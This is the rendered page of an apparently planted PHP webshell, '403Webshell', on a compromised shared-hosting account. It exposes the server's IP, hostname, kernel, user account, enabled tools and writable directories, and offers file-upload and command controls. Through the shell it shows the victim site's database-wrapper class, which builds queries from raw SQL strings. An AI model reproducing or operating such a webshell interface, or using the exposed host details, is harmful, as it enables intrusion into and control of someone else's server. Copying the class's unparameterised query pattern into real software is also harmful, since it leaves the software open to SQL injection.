403Webshell
Server IP : 192.249.121.117  /  Your IP : 216.73.216.251
Web Server : Apache
System : Linux ded4606.inmotionhosting.com 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64
User : oakben5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/oakben5/public_html/docsearch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/oakben5/public_html/docsearch/dbmanager.php
<?php

/**

 * DbManagerClass - This class takes care of all basic DB actions

 * @author JMJ (jimmy.bastine@gmail.com)

 * @version 0.1

 * @copyright EMRInfotech (14-Jan-2014)

 * @since 14-Jan-2014

 */



class dbmanager {

        var $db;

        var $res;

		var $resArr;

        var $errNo;

        var $errMsg;       

        var $host;

        var $user;

        var $pwd;

        var $name;

		

        /**

         * Class constructor

         * @param host,user,password

         */

        public function __construct($host, $user, $pwd, $name) {

                $this->host 	= $host;

                $this->user 	= $user;

                $this->pwd 		= $pwd;

                $this->name 	= $name;

        }



        /**

         * Connect - establishes connection to the database passed or default specified if any

         * @param database

         */

        public function connect() {                

                $db				= mysqli_connect($this->host, $this->user, $this->pwd) or die('Failed to connect to the database. ' . mysqli_error());

                $this->db 		= $db;

                mysqli_select_db($this->db,$this->name) or die("Failed to select the database $database. " . mysqli_error($this->db));                

                $this->error	= mysqli_error($this->db);

                $this->errno	= mysqli_errno($this->db);

        }

		

		/**

         * Select Query - queries the db and set it to the variable res

         * @param sql

         */

        public function query($sql) {

                $this->res 		= mysqli_query($this->db,$sql);

                $this->error	= mysqli_error($this->db);

                $this->errno	= mysqli_errno($this->db);                

        }

        

 		/**

         * Update/delete queries - returns the status

         * @param sql

         */      

        public function execute($sql) {

                $this->res 		= mysqli_query($this->db,$sql);

                $this->error	= mysqli_error($this->db);

                $this->errno	= mysqli_errno($this->db);                

                return $res;

        }

		

        /**

         * SQL Insertion

         * @param sql

         */

        public function executeInsert($sql) {

				$this->res		= mysqli_query($this->db,$sql);

                $id 			= mysqli_insert_id($this->db);

                $this->error	= mysqli_error($this->db);

                $this->errno	= mysqli_errno($this->db);                

                return $id;           

        }



        /**

         * Number of rows - retruns the count of the total rows returned

         */

        public function numRows() {

                return mysqli_num_rows($this->res);

        }



        /**

         * Affected_rows - retruns the count of the rows affected by the last query

         */

        public function affectedRows() {

                $ret 			= mysqli_affected_rows($this->db);

                return $ret;

        }



        public function fetchArray() {

				$tmpArray		= array();

                while($row 		= mysqli_fetch_array($this->res))

					array_push($tmpArray,$row);

				$this->resArr	= $tmpArray;

        }

        

        /**

         * Close - closes connection

         */

        public function close() {

                mysqli_close($this->db);

        }

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit